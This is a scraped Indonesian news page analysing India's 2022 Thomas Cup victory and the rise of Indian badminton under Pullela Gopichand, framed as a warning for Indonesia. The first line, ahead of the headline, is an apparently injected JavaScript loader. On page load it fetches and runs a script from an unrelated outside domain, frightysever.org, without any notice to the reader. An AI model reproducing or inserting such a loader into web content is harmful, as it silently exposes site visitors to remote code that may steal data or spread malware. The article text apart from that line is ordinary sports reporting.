(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gebrakan India Juara Piala Thomas, Alarm untuk Indonesia dan Kekuatan Tradisional Bulutangkis Dunia


KANALKALIMANTAN.COM – Putri mereka mencapai perempatfinal Piala Uber 2022, sementara tim putranya membuat kejutan terbesar dalam sejarah bulutangkis negera tersebut ketika untuk pertama kalinya menjuarai Piala Thomas.

Ya, India seketika berubah menjadi salah satu kutub besar bulutangkis dunia yang menembus dominasi Indonesia, Denmark, China, Jepang, Korea Selatan dan Malaysia.

Mereka menang 5-0 masing-masing atas Jerman dan Kanada dalam fase grup Piala Thomas 2022.

Dan sekalipun kalah 2-3 dari Taiwan dalam fase terakhir grup, mereka berturut-turut menaklukkan Malaysia di perempatfinal serta Denmark di semifinal dengan skor 3-2, serta Indonesia dengan skor 3-0 di final, yang semuanya kekuatan tradisional bulutangkis dunia.

 

Pebulutangkis ganda putra India, Satwiksairaj Rankireddy (kanan) dan Chirag Shetty (tengah) meluapkan kegembiraanya dengan pelatih usai mengalahkan ganda putra Indonesia, Mohammad Ahsan dan Kevin Sanjaya Sukamuljo dalam pertandingan babak final Piala Thomas 2022 di Impact Arena, Bangkok, Thailand, Minggu (15/5/2022) sore WIB. Foto: ANTARA FOTO/M Risyal Hidayat

Baca juga  : Ketua DPRD Kotabaru Harap Generasi Muda Dibekali Pendidikan Agama yang Baik

Bahkan dalam final hari ini, tunggal putra Lakshya Sen, ganda putra Satwiksairaj Rankireddy / Chirag Shetty, dan tunggal putra kedua Kidambbi Srikanth membuat Indonesia tak bisa memainkan ganda kedua dan tunggal ketiganya.

Klimaks bagi India, antiklimaks bagi Indonesia, kendati haram hukumnya mengesampingkan perjuangan keras nan heroik Anthony Ginting, Mohammad Ahsan /Kevin Sanjaya Sukamuljo, dan Jonatan Christie.

Di masa lalu, India pernah melahirkan para legenda seperti Prakash Padukone dan Pullela Gopichand yang sama-sama pernah menjuarai All England.

Setelah itu, mereka melahirkan pemain-pemain seperti Saina Nehwal yang merebut medali perunggu tunggal putri Olimpiade London 2012, lalu PV Sindhu yang memperoleh medali perak Olimpiade Rio 2016 dan medali perunggu dalam Olimpiade Tokyo 2020.

 

Baca juga  : Tega! Ayah Kandung Asal Kotabaru Cabuli Putrinya hingga Berkali-kali

Masih ada lagi, namun sekalipun jumlah pebulutangkis India yang sukses masih kalah banyak dibandingkan dengan kekuatan-kekuatan tradisional bulutangkis dunia seperti Indonesia, apa yang mereka lakukan tahun ini dengan merebut Piala Thomas adalah sungguh istimewa, jauh lebih dari sekadar manis.

Menjuarai Piala Thomas adalah indikasi relatif meratanya kekuatan bulutangkis India saat ini. Tidak itu saja, sukses mereka juga menjadi petunjuk seberapa besar perubahan yang terjadi dalam bulu tangkis India belakangan ini.

Tetapi bulu tangkis India tidak sesemarak belasan tahun terakhir ini. Sebaliknya pernah mengalami masa-masa sulit ketika masyarakat dan juga media di negeri ini tidak terlalu mempedulikan cabang olahraga ini karena mereka mungkin lebih peduli kepada cabang-cabang seperti kriket, kabaddi dan hoki.

Saina Nehwal

Pada akhir 1990-an, ibunda Pullela Gopichand yang bernama Subbaravaramma berusaha keras membantu anaknya mendapatkan liputan luas dari surat kabar dan televisi. Tetapi itu tak pernah terjadi sekalipun Gopichand sukses merebut gelar juara All England pada 2001.

 

Baca juga  : Siap Turunkan Tim Lapangan, Bapenda Tanbu Maksimalkan Penarikan PBB

Namun begitu Gopichand menjadi pelatih kepala Timnas Bulutangkis India, wajah bulutangkis India perlahan tapi pasti berubah sampai seangker saat ini. Tak hanya performa atlet yang terus meningkat, namun juga popularitas bulutangkis di Negeri Anak Benua ini.

Setelah pensiun dari bulutangkis, seperti halnya dilakukan Prakash Padukone sebelumnya, Pullela mendirikan Gopichand Badminton Academy pada 2008 yang menghasilkan sejumlah pebulutangkis top seperti Saina Nehwal, PV Sindhu, Sai Praneeth, Parupalli Kashyap, Srikanth Kidambi, Arundhati Pantawane, Gurusai Datt, dan Arun Vishnu.

Saina Nehwal memenangi medali perunggu Olimpiade 2012, sedangkan PV Sindhu memenangkan medali perak Olimpiade Rio 2016 selain medali perunggu Olimpiade Tokyo 2020. Shindu juga orang India pertama yang menjuarai BWF World Championships.

Gopichand menunjuk inisiatif LV Subramanyam (Wakil Ketua Sports Authority of Andhra Pradesh (SAAP) yang menjadi kawah candra dimuka olahraga India yang melahirkan bintang-bintang kriket, bulutangkis dan lainnya) menyelenggarakan turnamen-turnamen kelas dunia di India untuk mempopulerkan badminton di negeri itu.

 

Baca juga : Jasa Retribusi Usaha 1 Persen di TPI Pelabuhan Perikanan Batulicin

“Kejelian dia (LV Subramanyam) membantu kami mengenalkan lebih luas lagi bulu tangkis,” kata Gopichand seperti dikutip Times of India.

Bulutangkis semakin populer di India setelah Saina Nehwal dan PV Shindu sukses dalam tiga Olimpiade terakhir.

Selain menjadi pelatih kepala, Gopichand bekerja tanpa henti dalam mencari sponsor turnamen. Dia terbiasa begadang hanya demi menyiapkan sebuah turnamen terselenggara dengan sukses.

Upaya Gopichand membuahkan hasil. Dukungan luas sponsor telah membuat kompetisi-kompetisi semakin kerap diadakan dan akhirnya bulutangkis bertambah populer, sampai setiap waktu atlet India menjuarai turnamen setiap waktu itu pula kehebohan tumpah di media sosial.

 

Baca juga : 18 Guru di HSU Ikut Program Guru Penggerak, Ini Kata Plt Bupati

Selebriti-selebriti seperti Anand Mahindra, Rajnikanth, Amitabh Bachchan dan bintang film terkenal lainnya rajin mengirimkan pesan ucapan selamat kepada atlet yang memperoleh kejayaan dalam turnamen-turnamen besar, apalagi yang berskala internasional.

Formasi Lebih Kaya

Akademi bulutangkis atau sistem pembinaan yang terus melahirkan atlet yang siap unjuk gigi, termasuk mereka yang kini menjuarai Piala Thomas 2022, ditambah kompetisi yang semakin kerap, popularitas yang semakin tinggi dan dukungan sponsor yang membuat motivasi berprestasi semakin besar karena hadiah yang besar, telah membuat bulutangkis India semakin maju.

Pebulutangkis-pebulutangkis kelompok usia di India kini merasa mudah memutuskan apakah harus menggeluti badminton profesional, apalagi di negeri ini sudah ada liga bulutangkis profesional.

Hadiah uang pun semakin besar untuk setiap turnamen dan ini membuat bulutangkis India semakin digeluti luas oleh masyarakat yang akhirnya mendorong cabang olahraga ini maju dari waktu ke waktu.

 

Baca juga  : Bandar Narkoba di Karang Bintang Dibekuk, Polisi Sita 25 Gram Sabu 

Keberhasilan mereka merebut Piala Thomas dari Indonesia yang 19 tahun mendapatkan laga trofi ini pada Piala Thomas 2020 (yang diundur hingga 2021) lalu di Denmark, bukan hanya membuat India menjadi negara keenam yang menjuarai Piala Thomas setelah Indonesia, China, Malaysia, Denmark dan Jepang.

Keberhasilan ini juga menunjukkan India memiliki formasi pemain yang lumayan lengkap yang bisa menggugat dominasi Indonesia dan kekuatan-kekuatan bulutangkis dunia lainnya dalam sektor putra.

Formasi lebih kaya ini membuat India mendapatkan stok lumayan variatif yang memungkinkan mereka bisa mengisi turnamen-turnamen besar bulutangkis dengan kemungkinan mencapai hasil terbaik.

Di sisi lain, sukses India merebut Piala Thomas adalah alarm untuk Indonesia dan kekuatan-kekuatan besar bulutangkis dunia lainnya.

 

Baca juga  : 23 Guru TK PAUD Terima Beasiswa Kuliah Sampai Lulus di UT Banjarmasin

Fakta mereka berhasil menaklukkan dua tunggal putra top Indonesia dalam final Piala Thomas itu menunjukkan mereka bisa membuat kejutan-kejutan serupa dalam turnamen-turnamen badminton, termasuk Olimpiade Paris di mana bulutangkis kemungkinan besar masih menjadi andalan utama Indonesia dalam mempertahankan tradisi emas Olimpiade.

Apa pun itu, cara metodikal dan evolusioner India dalam membesarkan bulutangkis, termasuk tekad dan visi Pullela Gopichand, adalah isyarat bahwa kekuatan bulutangkis sudah begitu menyebar.

Bagi Indonesia sendiri, sebelum kekuatan itu bergeser, evaluasi menyeluruh mesti segera dilakukan. Bukan karena formasi pemain saat ini kurang bagus bahkan mereka tetap harus disanjung dan diapresiasi, tapi muka-muka baru di kawasan lain seperti India telah menemukan formula baru nan lain yang mengancam. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

3 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

5 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

9 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

9 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

9 jam ago

This website uses cookies.